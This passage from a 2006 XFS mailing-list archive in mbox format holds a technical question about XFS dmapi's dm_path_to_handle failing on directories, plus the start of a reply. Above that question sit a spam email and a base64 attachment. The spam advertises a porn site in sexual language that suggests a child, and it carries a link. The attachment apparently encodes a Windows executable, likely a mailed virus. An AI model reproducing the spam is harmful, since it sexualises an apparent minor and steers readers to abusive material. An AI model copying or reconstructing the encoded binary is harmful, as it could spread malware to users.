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 Vt12iloG88QkRa80mlW3gI1UA+VLwP9zKcCLd6oCf7An6iaMtXk/cyKKUR7j AP7+nQEPj9u6/2MjAK8nSQSsJ9vUcfPEA/9zoyCA80MpgCtzVK8gd/4qK0GM u1ajav9K53QF886BFn9C/gBzIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/ cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9z IwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3Mj AP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB /3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/ cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9z IwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwFnoyMBmqMj AP9zIwD/cyMB/3MjAVmjIwF/oyMB/3MjAP9zIwD/cyMBTKMjAXajIwD/cyMB /3MjAP9zIwFCoyMBbqMjAP9zIwD/cyMB/3MjAP9zIwD/cyMBNqMjASijIwEZ oyMBCKMjAPqiIwDtoiMB/3MjAN6iIwD/cyMB0KIjAP9zIwCLcyKB/3MjALQ2 cU66PxAz0TdvTP8yZ1a+I2oyzV1HbJNzdlG6IRAz0RdPbP8kcDKgQBEvmx9P AP9zb22eF29onQFCcoYyIwC4FldRjRxAQ5sXUWOMACMBqRpRdIoST1CNHFdk nAcjAKkaUXSKEk9Akx9MYf9zdWeNB1ZgkzVRZ5pzIwC6C0p1rwFMYZoAUAD/ c3FkmDBPbYwWaGOGcyMBrBZXVJYeRnL/cyMB/3MjAP9zIwD/cyMB/3MjAP9z IwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3Mj AP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB /3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/ cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAP9zIwD/cyMB/3MjAKKE Uggz0LoAMtC6ADLRul1lgeyJ2DjSADLR6Iiuf7gAMtInsTDRuYlu0TLfvmQs AzLRA0sz0LnzlopFtInTug/MZA8CMtDQAMxkawIz0OjoutK6A7hUBwIz0T7A RsZFtI3Tug/MZHcCMtFFtJ3Tug/b/boAMzjEATLR5VttWFJdz/DogN/Ruf7M 3g0TVVBI/zK3OvmBis4Isjm6EDLRUOlpEroAZlhfY7eEsYt23JLCRrwz0BoK eugjWc8QM6OygwzRzlq4nr2D2dlr6LfvuX07UnwIVVmkwNfdOPsypLWDy9LO FbAquXQTOZBmu8874sveugBV074f28nciy1QWP880LpmMcSl6z63MR2yMkUP MtC7FCxSfAJ6VHN1hDoaYPoTtgBTOLoAMtDngN30okAz4GFku9H6kreSRUBG KDFTM7aL0YrRqgAzuPdaMtDhZgnLzgQaE1DxukRRGHLRMtK4qYYB59Hle7ea oYtA8TF7FtBsAOQtFwDjg+yWvmxmGHLRAw8z0LnzlUblWUbL/UbRNN2LLeC6 ADNa4Qu4iaWLKFnhC7oLULACENuLNBBaAbeipgDl0HutMgEzhNvJ+gBSElIA MtC6WbI7eBhz0On/gTmiQDMuK+8rkLn/0tC6ADKW33RjotVjcbTeclWiyQAz 0LoAMtC6AFM5n/7MLjC19dK6ADBkFwIz0TFGP1R6dDk5swAz0TjGJzpVYPDR ulW4lrYDtnu4ADNaxBAwbBcCMtDqjLZYuAAzOT3/zC4zhKTTug+4lqmNBskX hPKlhwK2f7gAMt4A4CujrUBzgUS1pNK6A75UIAIz0VJTzC5FqtgJnv7M0LpQ zGQsAjLRNoSp0roA2uhF/sx6UL5tEroAfr3bZH642HJSosNBMtC6ADKW33Rj otVjcbTeclWiyQAz0LoAMtC6AGMQugAzAroAMwC6ADLRugAz0LoAMwC6AA7Q ugAz0PoAz6GZAWZYXoLf2X1FytC6ADMW/vwz0LoAU1nPCD+nhg6EhrxKYIdS bzLRuYNOwLt0NF/yJBLRua++yPiBC6LJcl+ll4tr3Tl9It/OAreJrYt7wT7J RsoxRSroeXU0Wf8UGgkzwT+Msf9G3OtT2ty6ADNUaHSdWf78Uhh4FDKEMuVT Wc8IuiYxTT98iUUjejjpN1RzdMawcsI/0O6J1YLsU2Jazwe4js3B09IxRT9o kgAz0UzhsBbCAOzQf4jDi+FeaRh4CDNOdyKibciujC5J3815Se3NxNizob5Z sqGkz2S6KI4i6VrOqCutJt8j9LrOii7JIzIvElY1pNag39HY+CLuy/hBwLwq uTBKzM4/ElAz0LoAMtC6ADLRugAz0LoAMtC6ADLRugAo1gAAAAAAAAAAAAAw 1gAAK9YAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPNYAAAAAAABLRVJORUwzMi5E TEwAAABFeGl0UHJvY2VzcwA= --tNlILiuVmuPusdnMBeh-- From owner-xfs@oss.sgi.com Tue Oct 31 16:08:04 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 31 Oct 2006 16:08:13 -0800 (PST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id kA1083aG000935 for ; Tue, 31 Oct 2006 16:08:03 -0800 X-ASG-Debug-ID: 1162336114-15421-32-4 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from c9mailgw25.amadis.com (61-31-164-136.dynamic.tfn.net.tw [61.31.164.136]) by cuda.sgi.com (Spam Firewall) with SMTP id 9EE7C4E7E13 for ; Tue, 31 Oct 2006 15:08:49 -0800 (PST) Date: Tue, 31 Oct 2006 20:05:44 +0000 From: Alfonso Baiges X-ASG-Orig-Subj: exclusive lo site for You ! kx Subject: exclusive lo site for You ! kx To: Xfs References: <225I73HJJI8KIG29@oss.sgi.com> In-Reply-To: <225I73HJJI8KIG29@oss.sgi.com> Message-ID: MIME-Version: 1.0 X-Barracuda-Spam-Score: 1.33 X-Barracuda-Spam-Status: No, SCORE=1.33 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_FONT_BIG, HTML_IMAGE_ONLY_32, MIME_BOUND_NEXTPART X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24682 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.84 HTML_IMAGE_ONLY_32 BODY: HTML: images with 2800-3200 bytes of words 0.26 HTML_FONT_BIG BODY: HTML tag for a big font size 0.24 MIME_BOUND_NEXTPART Spam tool pattern in MIME boundary Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 595 X-archive-position: 9506 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: johnsom@optushome.com.au Precedence: bulk X-list: xfs Status: O Xfs! Miracle is online now! Magic of young beauty will warm you the heat. Her little tits makes you crying, her soft lips calling to kiss'em, her virgin eyes awakes your passion. Little pu$sy are wet. She smells like a baby. She smiles like an angel. She looks like a rose... Your Desired Angels Is waiting her daddy. Do you feel a shiver from a touch to her skin? Yes, you do! Open your eyes, don't hesitate of your sensations, SINK in her magic light... http://Seleucid.eon.keeganfarrell.com/professor You'll not be desappointed after joining our site. [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Tue Oct 31 16:24:23 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 31 Oct 2006 16:24:30 -0800 (PST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id kA10ONaG008421 for ; Tue, 31 Oct 2006 16:24:23 -0800 X-ASG-Debug-ID: 1162336876-979-717-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from n007.sc1.cp.net (smtpout1472.sc1.he.tucows.com [64.97.157.172]) by cuda.sgi.com (Spam Firewall) with ESMTP id 138D0D1B5B54 for ; Tue, 31 Oct 2006 15:21:16 -0800 (PST) Received: from [192.168.2.120] (70.112.81.243) by n007.sc1.cp.net (7.2.069.1) (authenticated as john@groves.net) id 4547AB650000A0C8; Tue, 31 Oct 2006 23:21:15 +0000 Message-ID: <4547DA70.4040107@Groves.net> Date: Tue, 31 Oct 2006 17:21:20 -0600 From: John Groves User-Agent: Mozilla Thunderbird 1.0.7 (Windows/20050923) X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com CC: Dean Roehrich X-ASG-Orig-Subj: XFS dmapi: dm_path_to_handle fails if the path is a directory Subject: XFS dmapi: dm_path_to_handle fails if the path is a directory Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24684 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9507 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: John@Groves.net Precedence: bulk X-list: xfs Status: O I'm running up against a difficult situation because dm_path_to_handle does not return a handle, if the path is to a directory. Is this a known issue, or perhaps fixed in a recent version? Or is there another way get the handle of a directory by path? When any file type is renamed, I (for various reasons) *must* know not just the old & new parent handles, but also the handle of the renamed thingy. If the thingy is a directory, I'm stuck at the moment. My test system has dmapi 2.2.1-5, which I don't think is current, but I can't seem to get access to the oss.sgi.com server to check. Any advice or info appreciated. I'm willing to try and submit a patch, but I'd appreciate first knowing whether there was a specific reason or problem that led to the current behavior. Thanks, John Groves From owner-xfs@oss.sgi.com Tue Oct 31 16:45:32 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 31 Oct 2006 16:45:42 -0800 (PST) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id kA10jSaG011854 for ; Tue, 31 Oct 2006 16:45:30 -0800 Received: from [134.14.55.89] (soarer.melbourne.sgi.com [134.14.55.89]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA16406; Wed, 1 Nov 2006 11:44:38 +1100 Message-ID: <4547EDFD.8020407@sgi.com> Date: Wed, 01 Nov 2006 11:44:45 +1100 From: Vlad Apostolov User-Agent: Thunderbird 1.5.0.7 (X11/20060909) MIME-Version: 1.0 To: John Groves CC: linux-xfs@oss.sgi.com, Dean Roehrich Subject: Re: XFS dmapi: dm_path_to_handle fails if the path is a directory References: <4547DA70.4040107@Groves.net> In-Reply-To: <4547DA70.4040107@Groves.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 9508 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: 